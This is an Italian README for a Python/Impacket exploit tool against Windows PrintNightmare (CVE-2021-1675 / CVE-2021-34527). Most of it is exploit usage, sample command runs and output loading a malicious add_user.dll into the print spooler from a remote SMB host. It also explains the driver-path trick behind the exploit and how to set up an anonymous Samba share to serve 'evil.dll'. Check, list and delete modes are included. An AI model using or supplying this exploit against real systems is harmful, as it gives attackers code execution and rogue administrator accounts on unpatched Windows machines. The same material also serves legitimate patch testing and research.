
Implementazione Python per PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Implementazione Python per PrintNightmare (CVE-2021-1675 / CVE-2021-34527) utilizzando Impacket standard.
$ pip3 install impacket
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection:
-port [destination port]
Destination port to connect to MS-RPRN named pipe
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
driver:
-name driver name Name for driver
-env driver name Environment for driver
-path driver path Driver path for driver
-dll driver dll Path to DLL
modes:
-check Check if target is vulnerable
-list List existing printer drivers
-delete Deletes printer driver
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
Nota che l'esempio con DLL locale non abusa di CVE-2021-34527 per copiare la DLL.
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Target appears to be vulnerable!
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] Target does not appear to be vulnerable
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
Potrebbe richiedere privilegi amministrativi.
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Deleted printer driver!
PrintNightmare consiste in due CVE, CVE-2021-1675 / CVE-2021-34527.
A un utente non amministrativo è consentito aggiungere un nuovo driver di stampa. Questa vulnerabilità è stata risolta consentendo solo agli amministratori di aggiungere nuovi driver di stampa. Una versione aggiornata dello spooler di stampa restituirà RPC_E_ACCESS_DENIED (Codice: 0x8001011b) se un non amministratore tenta di aggiungere un nuovo driver di stampa.
Quando si aggiunge un nuovo driver di stampa, il parametro pDataFile in DRIVER_CONTAINER consente percorsi UNC. La DLL specificata in pDataFile, tuttavia, non verrà caricata, ma verrà copiata in un percorso locale permettendoci di creare un nuovo driver di stampa con il parametro pConfigFile che punta al percorso locale, che caricherà la DLL. Una versione aggiornata dello spooler di stampa restituirà ERROR_INVALID_PARAMETER (Codice: 0x57)
È sufficiente CVE-2021-1675 se la DLL dannosa è già presente sul target.
Per PrintNightmare, se la DLL non è un percorso locale, allora CVE-2021-34527 può essere usato per recuperare la DLL tramite percorsi UNC. Per questo motivo, è necessario servire la DLL tramite SMB. Se non hai familiarità con SMB e UNC, leggi la sottosezione seguente.
Quando si crea un nuovo driver di stampa, la DLL nel parametro pDataFile non verrà caricata per motivi di sicurezza. Tuttavia, verrà copiata in C:\Windows\system32\spool\drivers\x64\3\. Quindi, potremmo creare un nuovo driver di stampa che utilizza pConfigFile (che caricherà la DLL) con il percorso locale. Tuttavia, la DLL è in uso dal primo driver di stampa quando si crea il secondo driver di stampa. Invece, potremmo sovrascrivere il primo driver di stampa, il che farà sì che le DLL del driver di stampa vengano copiate in C:\Windows\system32\spool\drivers\x64\3\old\<I>\, dove <I> viene incrementato per ogni DLL. Ora possiamo creare un terzo driver di stampa che utilizzerà il percorso locale C:\Windows\system32\spool\drivers\x64\3\old\<I>\, poiché la DLL non è più in uso. Ora è solo questione di indovinare <I> che inizierà a incrementare da 1.
Nota che la DLL manterrà il suo nome file localmente, quindi se inizialmente esegui lo sfruttamento con foo.dll e viene salvata in C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll e poi cambi il contenuto di foo.dll localmente e riesegui lo sfruttamento e ora viene salvata in C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, allora verrà utilizzata la foo.dll originale poiché si trova in C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. Invece, cambia semplicemente il nome del file se cambi il contenuto della DLL.
In breve, un percorso UNC è un percorso a un file o cartella su una rete anziché un file locale, e contiene il nome del server e il percorso. Ad esempio, il percorso UNC \\10.0.0.2\files\foo.txt è un file foo.txt servito dalla condivisione files del server 10.0.0.2. Di solito, una condivisione viene servita tramite SMB, ma è supportato anche WebDAV. Per creare una condivisione SMB su Linux, il modo più semplice e affidabile è utilizzare il pacchetto Samba.
Per installare Samba con apt:
$ sudo apt install samba
Modifica /etc/samba/smb.conf e aggiungi il seguente alla fine del file:
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
Questo creerà una nuova condivisione chiamata smb e servirà i file all'interno di /tmp/share. Consente l'accesso anonimo e l'utente locale nobody verrà utilizzato per navigare i file.
Quindi avvia il servizio Samba eseguendo:
$ sudo service smbd start
Supponiamo che la tua macchina Linux abbia l'IP 192.168.1.100 e desideri servire evil.dll, allora il percorso UNC in questo scenario sarà \\192.168.1.100\smb\evil.dll.